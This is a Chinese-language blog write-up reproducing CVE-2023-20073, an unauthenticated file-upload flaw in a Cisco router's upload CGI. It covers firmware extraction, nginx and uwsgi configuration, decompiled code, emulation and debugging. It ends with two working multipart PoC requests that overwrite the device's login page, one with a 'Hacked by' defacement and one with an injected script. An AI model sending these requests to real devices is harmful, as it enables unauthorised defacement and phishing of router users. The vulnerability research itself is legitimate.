CVE-2023-20073
文章已发在https://s1nec-1o.github.io/,IoT新手一枚,欢迎与我交流
提取固件
首先在官网下载对应版本的固件,之后binwalk -Me解压,但是会出现一个问题,便是因为其软连接指向的是他的文件系统根目录下的,而当前根目录是我们的主机,想来也不会让其随便的建立软连接,他又只是一个机器,因此无法自己指向自己的根目录下,那我们只好再次自己去解压
在这个目录下执行ubi_reader 0.ubi
,但是我本身拥有这个ubi_reader,是从binwalk源码下载的,他自己却不能一次binwalk解压成功,确实让人匪夷所思,可能是要多加一些什么参数吧
漏洞成因
配置文件分析
首先在/etc/nginx/conf.d/目录下有很多nginx的配置模块
首先看/etc/nginx/conf.d/rest.url.conf
看到它分为五个模块,其中主要看第三个模块,即文件上传模块
location /api/operations/ciscosb-file:form-file-upload {
set $deny 1;
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
}
location块的主要作用是 基于Nginx服务器接收到的字符串(例如/api/operations/ciscosb-file:form-file-upload),对除虚拟主机名称之外的字符串进行匹配,对特定的请求进行处理。地址定向、数据缓存和应答控制等功能都是在这部分实现
在Nginx的官方文档中定义的location的语法结构为:
location [ = | ~ | ~* | ^~ ] uri { ... }其中uri就是我们的/api....那一串,它也可以含正则表达
if ($http_authorization != "") {
set $deny "0";
}
if ($deny = "1") {
return 403;
}
匹配完成之后会对http_authorization进行判断,全局搜索这个变量发现在/etc/nginx/conf.d/proxy.conf中对其进行了定义
因此就是对Authorization这个环境变量进行判定,猜测是身份证明,如果没有的话就会403报错
upload_pass /form-file-upload;
upload_store /tmp/upload;
upload_store_access user:rw group:rw all:rw;
upload_set_form_field $upload_field_name.name "$upload_file_name";
upload_set_form_field $upload_field_name.content_type "$upload_content_type";
upload_set_form_field $upload_field_name.path "$upload_tmp_path";
upload_aggregate_form_field "$upload_field_name.md5" "$upload_file_md5";
upload_aggregate_form_field "$upload_field_name.size" "$upload_file_size";
upload_pass_form_field "^.*$";
upload_cleanup 400 404 499 500-505;
upload_resumable on;
之后便是对nginx upload module配置参数了
upload_pass /form-file-upload:指明了后续要处理的php文件,转到后端处理/form-file-upload这个参数
upload_store /tmp/upload:指定了上传文件的存放地址
upload_store_access user:rw group:rw all:rw:上传文件的访问权限,所有人都是rw
upload_set_form_field $upload_field_name.name "$upload_file_name":设置参数
upload_pass_form_field "^.*$":从表单原样转到后端参数,是一个正则匹配^表示开始,.表示任意字符,*表示可以出现零次或多次,$是结束,因此说明可以上传任意字符到后端
upload_cleanup 400 404 499 500-505:如果出现了400 404等这些错误就删除所有上传的文件
在这里没有对cookie_sessionid进行判断
cookie_sessionid
用途: 存储用户的会话标识符。
作用: 服务器使用这个标识符来识别用户的会话状态,保持用户登录状态,或跟踪用户活动。
Authorization
用途: 包含认证凭据。
作用: 用于向服务器提供用户的身份信息,通常在 HTTP 请求头中使用。
我对其的理解就是没登陆,就能上传文件,这或许也是一种未授权的判定方法?
可以看到正规的/upload是存在对cookie_sessionid的判定的,($cookie_sessionid ~* "^[a-f0-9]{64}")正则匹配要确保它是一个有效的 64 位十六进制字符串
之后看/form-file-upload到底是什么
include指令:用于包含其他的配置文件
其中包含了uwsgi_params这个配置文件,在/etc/nginx/uwsgi_params,是一种用于配置与Nginx 之间的通信的文件。它定义了一些变量和选项,以确保正确地传递请求和响应。算是一种通用配置
uwsgi_pass指向uwsgi服务器IP和端口,设置读取和发送超时时间为3600秒
说明了它把请求发送给了uwsgi的服务器来处理
那么处理的文件是什么,我们先看nginx的启动程序
在最后启动了uwsgi程序
可以看到uwsgi的启动程序指定为/usr/bin/uwsgi-launcher程序
它执行了三个初始化程序,分别看一下
[uwsgi]
plugins = cgi
workers = 4
master = 1
uid = www-data
gid = www-data
socket=127.0.0.1:9000
buffer-size=4096
cgi = /jsonrpc=/www/cgi-bin/jsonrpc.cgi
cgi-allowed-ext = .cgi
cgi-allowed-ext = .pl
cgi-timeout = 3600
ignore-sigpipe = true
首先是启用了CGi插件来处理CGI脚本,配置了四个工作进程来处理请求,启用了主进程管理工作进程,设置身份,监听9000端口,设置缓冲区大小为4096,将/jsonrpc
路径映射到/www/cgi-bin/jsonrpc.cgi
脚本,允许运行的为.cgi .pl的扩展名,忽略了signal信号。总之就是监听9000端口,运行cgi脚本。接下来的两个ini也是如此,就不过多赘述了,但是看到我们之前分析的/upload的uswgi是发送到9003端口来处理请求的,因此看到
发现是/www/cgi-bin/upload-cgi来处理请求的,调用的方式是先fork
了一个子进程,然后execvp
来执行upload.cgi
二进制文件分析
StrBuf系列函数
在分析upload-cgi前要先看一些自定义函数的定义,不然会较难分析
_DWORD *StrBufCreate()
{
_DWORD *v0; // r4
_BYTE *v1; // r0
v0 = malloc(0xCu);
if ( v0 )
{
v0[1] = 0x37;
v1 = malloc(0x37u);
*v0 = v1;
if ( !v1 )
{
free(v0);
return 0;
}
*v1 = 0;
v0[2] = 0;
}
return v0;
}
StrBufCreate函数,没有参数,作用是创建一个三个地址长度的chunk,然后第二个长度写Buf的长度即0x37,低三个长度是0,第一个长度是Buf的地址,还算是比较清晰的
_DWORD *__fastcall StrBufAppendStr(_DWORD *a1, const char *a2)
{
_DWORD *result; // r0
size_t v5; // r5
if ( !a2 || !StrBufIsOK(a1) )
return 0;
v5 = strlen(a2);
result = sub_1BBC((void **)a1, v5 + a1[2] + 1);
if ( result )
{
strcpy((char *)(*a1 + a1[2]), a2);
result = &dword_0 + 1;
a1[2] += v5;
}
return result;
}
总体而言,这段代码实现了一个动态字符串缓冲区的管理,能够在原有字符串的基础上追加新的字符串,同时确保在追加时有足够的内存空间。如果内存不足,它会进行重新分配并处理相关的内存管理。
如果感兴趣可以自行分析
int __fastcall StrBufSetStr(int a1, int a2)
{
StrBufClear(a1);
return StrBufAppendStr((_DWORD *)a1, (const char *)a2);
}
便是清除a1,然后a2覆盖在a1里面,即可以理解为赋值
_DWORD *__fastcall StrBufToStr(_DWORD *a1)
{
_DWORD *result; // r0
result = StrBufIsOK(a1);
if ( result )
return (_DWORD *)*a1;
return result;
}
判断是否合法,如果合法则返回地址,不合法就返回错误信息
jsonutil系列函数
int jsonutil_get_string(int a1, _DWORD *a2, ...)
{
va_list varg_r2; // [sp+10h] [bp-8h] BYREF
va_start(varg_r2, a2);
if ( !jsonutil_vget(a1, (int *)varg_r2) )
return -1;
*a2 = json_object_get_string();
return 0;
}
整体来看,这段代码的目的是从一个 JSON 对象中提取字符串。jsonutil_get_string
函数负责调用jsonutil_vget
进行处理,而jsonutil_vget
则通过不断检查和获取 JSON 对象的值,最终返回一个有效的索引或对象。若成功获取字符串,则将其存储在传入的指针*a2
中。
multi系列函数
char *__fastcall multipart_parser_init(const char *a1, int a2)
{
size_t v4; // r0
char *v5; // r4
size_t v6; // r0
char *result; // r0
v4 = strlen(a1);
v5 = (char *)malloc(2 * v4 + 37);
strcpy(v5 + 24, a1);
v6 = strlen(a1);
*((_DWORD *)v5 + 2) = v6;
*((_DWORD *)v5 + 1) = 0;
*((_DWORD *)v5 + 5) = &v5[v6 + 25];
result = v5;
v5[12] = 2;
*((_DWORD *)v5 + 4) = a2;
return result;
}
这段代码的功能是为一个多部分解析器分配内存并初始化其状态,包括存储输入字符串及其长度、设置一些状态字段等
multipart_parser_execute(v12, v8, v13);该函数源码过长就不贴了
主要的作用可能是用于解析HTTP请求中的multipart/form-data
,但是由于可控段不在这里就不过多的分析了,详细请看下文
分析到这里,我认为这些函数,想必是网上开源的函数,大概率是没有什么漏洞可言的,因此主要看函数的作用以及主函数的逻辑漏洞
.cgi文件分析
int __fastcall main(int a1, char **a2, char **a3)
{
const char *CONTENT_LENGTH_addr; // r6
char *CONTENT_TYPE_addr; // r4
char *REQUEST_URI_addr; // r7
char *HTTP_COOKIE_addr; // r8
void *v7; // r0
_BYTE *v8; // r5
char *v9; // r0
void *v10; // r0
int v11; // r0
int v12; // r6
size_t v13; // r0
char *v14; // r6
const char *v15; // r3
int v16; // r6
int v17; // r8
int v18; // r0
int v19; // r6
int v20; // r6
int v21; // r0
int v22; // r8
int v23; // r7
int v24; // r6
int v25; // r0
const char *v26; // r0
char *haystack; // [sp+14h] [bp-464h] BYREF
int v29; // [sp+18h] [bp-460h] BYREF
const char *v30; // [sp+1Ch] [bp-45Ch] BYREF
int v31; // [sp+20h] [bp-458h] BYREF
int v32; // [sp+24h] [bp-454h] BYREF
int v33; // [sp+28h] [bp-450h] BYREF
int v34; // [sp+2Ch] [bp-44Ch] BYREF
int v35; // [sp+30h] [bp-448h] BYREF
int v36; // [sp+34h] [bp-444h] BYREF
int boundary; // [sp+38h] [bp-440h] BYREF
int v38; // [sp+3Ch] [bp-43Ch] BYREF
int v39; // [sp+40h] [bp-438h] BYREF
int v40[7]; // [sp+44h] [bp-434h] BYREF
char s[1048]; // [sp+60h] [bp-418h] BYREF
CONTENT_LENGTH_addr = getenv("CONTENT_LENGTH");
CONTENT_TYPE_addr = getenv("CONTENT_TYPE");
REQUEST_URI_addr = getenv("REQUEST_URI");
HTTP_COOKIE_addr = getenv("HTTP_COOKIE");
v7 = memset(s, 0, 0x400u);
haystack = 0;
v29 = 0;
v30 = 0;
v31 = 0;
v32 = 0;
v33 = 0;
v34 = 0;
v35 = 0;
v36 = 0;
boundary = StrBufCreate((int)v7);
v38 = StrBufCreate(boundary);
v39 = StrBufCreate(v38);
if ( CONTENT_LENGTH_addr )
CONTENT_LENGTH_addr = (const char *)atoi(CONTENT_LENGTH_addr);
v8 = malloc((size_t)(CONTENT_LENGTH_addr + 1));
v8[fread(v8, 1u, (size_t)CONTENT_LENGTH_addr, (FILE *)_bss_start)] = 0;
if ( CONTENT_TYPE_addr && strstr(CONTENT_TYPE_addr, "boundary=") )
{
StrBufSetStr(boundary, "--");
v9 = strstr(CONTENT_TYPE_addr, "boundary");
StrBufAppendStr(boundary, v9 + 9);
}
v10 = memset(v40, 0, sizeof(v40));
v40[1] = (int)sub_1138C;
v40[2] = (int)sub_11464;
dword_2348C = json_object_new_object(v10);
v11 = StrBufToStr(boundary);
v12 = multipart_parser_init(v11, v40);
v13 = strlen(v8);
multipart_parser_execute(v12, v8, v13);
multipart_parser_free(v12);
jsonutil_get_string(dword_2348C, &v29, "\"file.path\"", -1);
jsonutil_get_string(dword_2348C, &haystack, "\"filename\"", -1);
jsonutil_get_string(dword_2348C, &v30, "\"pathparam\"", -1);
jsonutil_get_string(dword_2348C, &v31, "\"fileparam\"", -1);
jsonutil_get_string(dword_2348C, &v32, "\"destination\"", -1);
jsonutil_get_string(dword_2348C, &v33, "\"option\"", -1);
jsonutil_get_string(dword_2348C, &v34, "\"cert_name\"", -1);
jsonutil_get_string(dword_2348C, &v35, "\"cert_type\"", -1);
jsonutil_get_string(dword_2348C, &v36, "\"password\"", -1);
if ( HTTP_COOKIE_addr )
get_strtok_value(HTTP_COOKIE_addr, "sessionid=", ";", s);
if ( !v29 || match_regex("^/tmp/upload/[0-9]{10}$") )
{
puts("Content-type: text/html\n");
printf("Error Input");
goto LABEL_31;
}
StrBufSetStr(v39, v31);
v14 = haystack;
if ( haystack )
{
if ( strstr(haystack, ".xml") )
{
v15 = "Configuration";
}
else
{
if ( !strstr(v14, ".img") )
{
LABEL_17:
StrBufSetStr(v39, v14);
goto LABEL_18;
}
v15 = "Firmware";
}
v30 = v15;
goto LABEL_17;
}
LABEL_18:
v16 = v29;
v17 = (int)v30;
v18 = StrBufToStr(v39);
v19 = sub_115EC(v17, v16, v18);
if ( v19 )
{
puts("Content-type: text/html\n");
puts("Error Input");
switch ( v19 )
{
case -2:
v26 = "Configure upload fail";
break;
case -3:
v26 = "The length of filename is greater than 128";
break;
case -4:
v26 = "The filename is illegal, only support 'a-z' 'A-Z' '0-9' '_' '.' '-'";
break;
default:
goto LABEL_31;
}
puts(v26);
goto LABEL_31;
}
if ( !strcmp(REQUEST_URI_addr, "/api/operations/ciscosb-file:form-file-upload") )
{
v20 = (int)v30;
v21 = StrBufToStr(v39);
sub_125A8(s, v20, v21, v29);
}
else if ( !strcmp(REQUEST_URI_addr, "/upload") && !match_regex("^[A-Fa-f0-9]{64}$") )
{
v22 = v32;
v23 = v33;
v24 = (int)v30;
v25 = StrBufToStr(v39);
sub_1277C(s, v22, v23, v24, v25, v34, v35, v36);
}
LABEL_31:
free(v8);
StrBufFree(&v38);
StrBufFree(&boundary);
StrBufFree(&v39);
json_object_put(dword_2348C);
SYSTEM("rm -f %s/* > /dev/null 2>&1", "/tmp/upload");
return 0;
}
可以看到大部分的信息都是没用的,让我们看漏洞函数
int __fastcall sub_115EC(const char *a1, const char *a2, const char *a3)
{
bool v3; // zf
const char *v8; // r4
int v9; // r4
char s[316]; // [sp+Ch] [bp-13Ch] BYREF
v3 = a3 == 0;
if ( a3 )
v3 = a1 == 0;
if ( v3 )
return -1;
if ( !strcmp(a1, "Firmware") )
{
v8 = "/tmp/firmware/";
}
else if ( !strcmp(a1, "Configuration") )
{
v8 = "/tmp/configuration/";
}
else if ( !strcmp(a1, "Certificate") )
{
v8 = "/tmp/in_certs/";
}
else if ( !strcmp(a1, "Signature") )
{
v8 = "/tmp/signature/";
}
else if ( !strcmp(a1, "3g-4g-driver") )
{
v8 = "/tmp/3g-4g-driver/";
}
else if ( !strcmp(a1, "Language-pack") )
{
v8 = "/tmp/language-pack/";
}
else if ( !strcmp(a1, "User") )
{
v8 = "/tmp/user/";
}
else
{
if ( strcmp(a1, "Portal") )
return -1;
v8 = "/tmp/www/";
}
if ( !is_file_exist(a2) )
return -2;
if ( strlen(a2) > 0x80 || strlen(a3) > 0x80 )
return -3;
if ( match_regex("^[a-zA-Z0-9_.-]*$") )
return -4;
sprintf(s, "mv -f %s %s/%s", a2, v8, a3);
debug("cmd=%s", s);
if ( !s[0] )
return -1;
v9 = system(s);
if ( v9 < 0 )
error((int)"upload.cgi: %s(%d) Upload failed!", (int)"prepare_file", (const char *)0xAD);
return v9;
}
会发现到最后会执行mv -f a2 v8/a3
v8是通过判断a1来获得的,a2和a3分别都是参数
a2比较显然是通过file.path表单名称来匹配的
a3会稍微复杂一点,filename表单的参数如果存在且不包含.img的话,那么a3就是filename表单下的参数,如果filename表单下为空的话,那么fileparam表单下的参数就是a3了,显然第二种方法控制比较简单
但是呢,如果只是到了这里,那么该漏洞也不会有任何的作用,可是呢
在运行的时候会发现/www/login.html
其实是软连接到/tmp/www/login.html
的,因此只需要覆盖/tmp/www/login.html
就能实现对登录页面的篡改,最终达到存储型XSS攻击的效果
但是还有一个问题
此时该判定该如何跳过,接下来的动态调试也会解释这个问题
动态调试
由于
这一段过于的抽象,因此可以通过调试来观看整个进程
我准备采用的是fork子进程的方法,首先仿真成功之后,由于该程序是通过fork子进程然后再通过execvp来执行upload.cgi程序的,因此我们可以通过
在程序的开始有个自己跳自己,那么该子进程就会一直在这里执行,同时在调试出错也可以重复进行,可以说是很方便的方法。
然后使用gdbserver配合gdb进行调试,看到此时有个子进程,执行gdbserver附加进程
在主机执行sudo gdb-multiarch,一定要用sudo,因为之后要修改程序的机器码,如果不用root权限的话,因为是rx的所以会无法修改
修改完成之后便是可以看到程序正常进行,同时还是从开头执行的
由于我们的Post请求是
所以这里的函数就是读取表单字段的内容存储在变量里
看到上述的执行流走偏的情况,发现他正则匹配的对象是file.path的内容
返回值为0,所以绕过了检查,但是这个函数是什么呢,很好奇
发现只要是0-9内的10位数都可以绕过检查,也是很不错的
但是呢
if ( !is_file_exist(a2) )
return -2;
要求是个存在的文件,因此在fork的时候看一眼
所以只能是0000000001了,还是要反复匹配才是正确的
仿真
在这里下载,压缩的linux内核映像,文件系统和内核映像,arm结构要多下一个i开头的文件,涉及到更底层的知识了估计。
配置网络环境,运行以下脚本
#!/bin/sh
#sudo ifconfig eth0 down # 首先关闭宿主机网卡接口
sudo brctl addbr br0 # 添加一座名为 br0 的网桥
sudo brctl addif br0 ens33 # 在 br0 中添加一个接口
sudo brctl stp br0 off # 如果只有一个网桥,则关闭生成树协议
sudo brctl setfd br0 1 # 设置 br0 的转发延迟
sudo brctl sethello br0 1 # 设置 br0 的 hello 时间
sudo ifconfig br0 0.0.0.0 promisc up # 启用 br0 接口
sudo ifconfig ens33 0.0.0.0 promisc up # 启用网卡接口
sudo dhclient br0 # 从 dhcp 服务器获得 br0 的 IP 地址
sudo brctl show br0 # 查看虚拟网桥列表
sudo brctl showstp br0 # 查看 br0 的各接口信息
sudo tunctl -t tap0 -u root # 创建一个 tap0 接口,只允许 root 用户访问
sudo brctl addif br0 tap0 # 在虚拟网桥中增加一个 tap0 接口
sudo ifconfig tap0 0.0.0.0 promisc up # 启用 tap0 接口
sudo brctl showstp br0
之后运行
sudo qemu-system-arm -M vexpress-a9 -kernel vmlinuz-3.2.0-4-vexpress \
-initrd initrd.img-3.2.0-4-vexpress -drive if=sd,file=debian_wheezy_armhf_standard.qcow2 \
-append "root=/dev/mmcblk0p2" \
-net nic -net tap,ifname=tap0,script=no,downscript=no \
-nographic -smp 4
该程序,但是我出了一个报错
pulseaudio是音频设备,想来你也不需要用qemu机看电影,那么应该是没有什么影响的,把rootfs压缩好scp传上来
之后在机子里运行老几样建立隔离环境
chmod -R 777 rootfs
cd rootfs/
mount --bind /proc proc
mount --bind /dev dev
chroot . /bin/sh
之后执行
/etc/init.d/boot boot
generate_default_cert
/etc/init.d/confd start
/etc/init.d/nginx start
怎么来的呢,首先是执行nginx,发现无法访问http页面,就去依次修改报错
/ # /etc/init.d/boot boot
uci: Entry not found
uci: Entry not found
uci: Entry not found
mount: mounting debugfs on /sys/kernel/debug failed: No such file or directory
Mounting mnt partitions..mount: mounting /dev/mtdblock9 on /mnt/configcert failed: No such device
mount: mounting /dev/mtdblock10 on /mnt/avcsign failed: No such device
mount: mounting /dev/mtdblock11 on /mnt/webrootdb failed: No such device
mount: mounting /dev/mtdblock12 on /mnt/license failed: No such device
done.
cp: can't stat '/etc/ssl/private/*': No such file or directory
cp: can't stat '/tmp/.KEYS_DIR_TMP/*': No such file or directory
uci: Parse error (option/list command found before the first section) at line 2492, byte 1
create_meta_data_xml begin
meta_data_gen_state: 0
meta_data_gen_state: 1
create_meta_data_xml end
/ # generate_default_cert
touch: /tmp/stats/certstats.tmp: No such file or directory
/usr/bin/certscript: line 1: can't create /tmp/stats/certstats.tmp: nonexistent directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
Default
/ # /etc/init.d/confd start
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /avc-meta-data --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /device-os-types --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
TRACE Connected (maapi) to ConfD
attaching to init session...
TRACE MAAPI_ATTACH --> CONFD_OK
TRACE MAAPI_DELETE /webfilter-meta-data --> CONFD_OK
TRACE MAAPI_LOAD_CONFIG_FILE --> CONFD_OK
0
uci: Entry not found
0
uci: Entry not found
rm: can't remove '/tmp/update.sh': No such file or directory
uci: Entry not found
uci: Entry not found
uci: Parse error (option/list command found before the first section) at line 2492, byte 1
cp: can't stat '/tmp/etc/syslog_config_template': No such file or directory
sed: /tmp/syslog-ng.conf: No such file or directory
Error opening configuration file; filename='/tmp/syslog-ng.conf', error='Success (0)'
SIOCGMIIPHY: No such device
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
Failed to parse json data: unexpected end of data
Failed to connect to ubus
0
json_object_from_file: error reading file /tmp/webcache/dep: No such file or directory
PnP Agent is starting!
uci: Entry not found
/ # /etc/init.d/nginx start
chown: /var/firmware: No such file or directory
chown: /var/3g-4g-driver: No such file or directory
chown: /var/in_certs: No such file or directory
chown: /var/signature: No such file or directory
chown: /var/language-pack: No such file or directory
chown: /var/configuration: No such file or directory
FAILED: maapi_get_elem(ms, mtid, &val, argv[0]), Error: item does not exist (1): /firewall-basic-settings:firewall/remote-web-management/cert does not exist, in function do_maapi_get, line 1463
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
FAILED: maapi_get_elem(ms, mtid, &val, argv[0]), Error: item does not exist (1): /ciscosb-restconf:ciscosb-restconf/transport/https/cert does not exist, in function do_maapi_get, line 1463
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
FAILED: maapi_get_elem(ms, mtid, &val, argv[0]), Error: item does not exist (1): /ciscosb-netconf:ciscosb-netconf/transport/ssh/cert does not exist, in function do_maapi_get, line 1463
touch: /tmp/stats/certstats.tmp: No such file or directory
perl: warning: Setting locale failed.
perl: warning: Please check that your locale settings:
LANGUAGE = (unset),
LC_ALL = (unset),
LANG = "en_US.UTF-8"
are supported and installed on your system.
perl: warning: Falling back to the standard locale ("C").
cp: can't stat '/tmp/stats/certstats.tmp': No such file or directory
[uWSGI] getting INI configuration from /etc/uwsgi/jsonrpc.ini
[uWSGI] getting INI configuration from /etc/uwsgi/upload.ini
[uWSGI] getting INI configuration from /etc/uwsgi/blockpage.ini
*** Starting uWSGI 2.0.15 (32bit) on [Sun Aug 11 09:02:03 2024] ***
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: Router
machine: armv7l
clock source: unix
*** Starting uWSGI 2.0.15 (32bit) on [Sun Aug 11 09:02:03 2024] ***
pcre jit disabled
*** Starting uWSGI 2.0.15 (32bit) on [Sun Aug 11 09:02:03 2024] ***
detected number of CPU cores: 4
compiled with version: 4.8.3 on 17 October 2022 13:32:49
compiled with version: 4.8.3 on 17 October 2022 13:32:49
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: Router
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
current working directory: /
detected binary path: /usr/sbin/uwsgi
os: Linux-3.2.0-4-vexpress #1 SMP Debian 3.2.51-1
nodename: Router
machine: armv7l
clock source: unix
pcre jit disabled
detected number of CPU cores: 4
current working directory: /
detected binary path: /usr/sbin/uwsgi
setgid() to 33
setgid() to 33
setgid() to 33
setuid() to 33
setuid() to 33
your processes number limit is 961
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
your processes number limit is 961
thunder lock: disabled (you can enable it with --thunder-lock)
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
setuid() to 33
thunder lock: disabled (you can enable it with --thunder-lock)
your processes number limit is 961
your memory page size is 4096 bytes
detected max file descriptor number: 1024
lock engine: pthread robust mutexes
thunder lock: disabled (you can enable it with --thunder-lock)
uwsgi socket 0 bound to TCP address 127.0.0.1:9001 fd 3
uwsgi socket 0 bound to TCP address 127.0.0.1:9000 fd 3
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
uwsgi socket 0 bound to TCP address 127.0.0.1:9003 fd 3
mapped 128512 bytes (125 KB) for 1 cores
your server socket listen backlog is limited to 100 connections
your mercy for graceful operations on workers is 60 seconds
*** Operational MODE: single process ***
initialized CGI mountpoint: /blocked.php = /www/cgi-bin/blockpage.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 5708)
mapped 321280 bytes (313 KB) for 4 cores
*** Operational MODE: preforking ***
initialized CGI mountpoint: /jsonrpc = /www/cgi-bin/jsonrpc.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 5707)
mapped 128512 bytes (125 KB) for 1 cores
*** Operational MODE: single process ***
initialized CGI path: /www/cgi-bin/upload.cgi
*** no app loaded. going in full dynamic mode ***
*** uWSGI is running in multiple interpreter mode ***
spawned uWSGI master process (pid: 5709)
spawned uWSGI worker 1 (pid: 5718, cores: 1)
spawned uWSGI worker 1 (pid: 5719, cores: 1)
spawned uWSGI worker 2 (pid: 5721, cores: 1)
spawned uWSGI worker 1 (pid: 5720, cores: 1)
spawned uWSGI worker 3 (pid: 5722, cores: 1)
spawned uWSGI worker 4 (pid: 5723, cores: 1)
漏洞的利用
Poc1
此时能够覆盖一个.html文件,那么html文件可以通过js来钓鱼,但是视觉效果没那么好,因此就写一个小页面吧
到最后会执行mv -f /tmp/upload/0000000001 /tmp/www//login.html
便是复现成功了
------------
Content-Disposition: form-data; name="pathparam"
Portal
------------
Content-Disposition: form-data; name="fileparam"
login.html
------------
Content-Disposition: form-data; name="file.path"
/tmp/upload/0000000001
------------
Content-Disposition: form-data; name="what";filename="login.html";Content-Type: application/octet-stream
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Apple Style Ad</title>
<style>
body {
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial, sans-serif;
margin: 0;
padding: 0;
display: flex;
justify-content: center;
align-items: center;
height: 100vh;
background-color: #f5f5f7;
}
.ad-container {
text-align: center;
padding: 20px;
background-color: #fff;
border-radius: 12px;
box-shadow: 0 4px 12px rgba(0, 0, 0, 0.1);
}
.ad-image {
max-width: 100%;
border-radius: 8px;
}
.ad-title {
font-size: 2em;
margin: 20px 0 10px;
color: #333;
}
.ad-description {
font-size: 1.2em;
color: #666;
margin-bottom: 20px;
}
.ad-button {
display: inline-block;
padding: 10px 20px;
background-color: #0071e3;
color: #fff;
border-radius: 6px;
text-decoration: none;
font-weight: bold;
}
.ad-button:hover {
background-color: #005bb5;
}
</style>
</head>
<body>
<div class="ad-container">
<img src="your-image.jpg" alt="Product Image" class="ad-image">
<div class="ad-title">Hacked by s1nec-1o!!!!!!!!!!!!!!!</div>
<div class="ad-description">welcome to iot world !!!!!!!!!!!!</div>
<a href="https://s1nec-1o.github.io/" class="ad-button">click me</a>
</div>
</body>
</html>
------------
Poc2
winmt师傅还有一种Poc可以更加的优雅来控制file.path,其实报文会根据配置文件来自动来添加一个xxx.path
$upload_field_name 原始的文件字段
$upload_content_type 上传文件的类型
$upload_file_name 客户端上传的原始文件名称
$upload_tmp_path 上传的文件保存在服务端的位置
因此会把原始字段的名称先赋成上传文件的名称,然后上传文件的名称.path就会记录在上传的位置,即/tmp/upload/0000000001,因此可以用更优雅的方式进行利用
------------
Content-Disposition: form-data; name="pathparam"
Portal
------------
Content-Disposition: form-data; name="fileparam"
login.html
------------
Content-Disposition: form-data; name="file";filename="login.html";Content-Type: application/octet-stream
<title>The website has been hacked!</title>
<script>alert('The website has been hacked')</script>
------------
结语
这算是第二次复现了,第一次了了收场,还有好多东西没搞懂,这次一次性给他弄懂了,想来一步一步做下来,IoT小白(我)也是能收获满满的